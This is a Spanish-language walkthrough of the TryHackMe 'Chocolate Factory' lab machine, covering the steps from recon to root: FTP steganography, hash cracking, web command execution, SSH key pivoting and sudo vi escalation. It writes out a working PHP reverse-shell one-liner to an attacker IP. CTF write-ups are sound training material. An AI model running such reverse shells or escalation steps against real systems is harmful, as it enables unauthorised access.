XUT_ / MACHINES / THM

0032

Chocolate Factory

THMMACHINENONEEASY

Introduction

chocolate-factory

Una room basada en Charlie y la fábrica de chocolate.

Bienvenido a la Fábrica de Chocolate de Willy Wonka.

chocolate-factory

Getting the Flags

Reconocimiento Inicial

Comenzaremos haciendo un escaneo de puertos abiertos.

chocolate-factory

Ahora vamos a escanear estos puertos más a fondo.

chocolate-factory

En todos los puertos siguientes sale la misma pista: que no está ahí. Así que vamos a listar directorios de la web.

chocolate-factory

Vamos a ver qué es la página web.

chocolate-factory


Profundización

Vamos a ver qué hay en los archivos que hemos encontrado.

chocolate-factory

Parece una caja para introducir comandos y ejecutarlos.

Vamos a ver el otro archivo.

chocolate-factory

Es un script php inseguro, puede que se use el mismo para el otro.

Ahora vamos por partes, lo primero será investigar lo del anonymous login por FTP.

chocolate-factory

Es una foto (aparentemente), vamos a ver si contiene algo.

chocolate-factory

Vamos a ver qué hemos extraído.

chocolate-factory

Una cadena muy larga en base64, vamos a decodearla.

chocolate-factory

Parece el /etc/shadow de alguna máquina. Sabiendo que tenemos al usuario charlie y su hash, vamos a intentar crackearlo.

chocolate-factory

Con esta contraseña vamos a intentar iniciar sesión primero en el panel de la página web y si no funciona por SSH.

chocolate-factory

Iniciar sesión nos lleva directamente al panel de introducir comando, que ya habíamos visto antes. Vamos a intentar iniciar sesión por SSH.


Explotación

Como no podemos iniciar sesión por SSH vamos a aprovecharnos de la ejecución de comandos para obtener una reverse shell.

chocolate-factory

Con el comando php -r '$sock=fsockopen("192.168.128.67",4444);exec("bash <&3 >&3 2>&3");' obtenemos una shell. Primero voy a estabilizarla.

chocolate-factory

Ahora vamos a ver si podemos leer la flag del usuario.

De primeras no vemos una flag pero vemos algo interesante también, hay un archivo llamado key_rev_key. Vamos a descargarlo desde nuestra máquina.

chocolate-factory

Vamos a mirar a ver qué contiene.

chocolate-factory

Parece que hemos encontrado la clave que nos pedían. Seguimos buscando la flag.

chocolate-factory

Ahora nos toca encontrar la forma de pivotar hacia charlie.

chocolate-factory

El usuario www-data está en el grupo root, sudo y lxd, esto nos puede servir para escalar privilegios.

Podemos ver en el directorio /home de charlie que hay dos archivos teleport y teleport.pub, esto huele a claves privada y pública.

chocolate-factory

Vamos a usar esta clave para iniciar sesión por SSH.

chocolate-factory

Ahora que ya estamos dentro de la máquina vamos a leer la flag de usuario.


Escalada de Privilegios

Ahora toca escalar privilegios para conseguir la flag de root. Lo primero que haremos será ver los grupos a los que pertenece charlie.

chocolate-factory

Vamos ahora a completar nuestra checklist de privesc y si nada funciona volveremos a esto.

chocolate-factory

Parece que podemos ejecutar vi con sudo. Miramos en GTFOBins.

chocolate-factory

Usamos dicho comando.

chocolate-factory

Acabamos de ganar acceso root. Vamos a leer la flag.

chocolate-factory

Parece que necesitamos la clave, vamos a ejecutarlo.

chocolate-factory

Como no funciona por algún motivo, voy a buscar un desencriptador de Fernet online.

chocolate-factory


Conclusión

Una máquina divertida pero con algunos errores aparentes. Parece que se podía acceder a la página de los comandos sin necesitar del login, por lo que no habría que acceder a FTP con anonymous ni crackear el hash de charlie.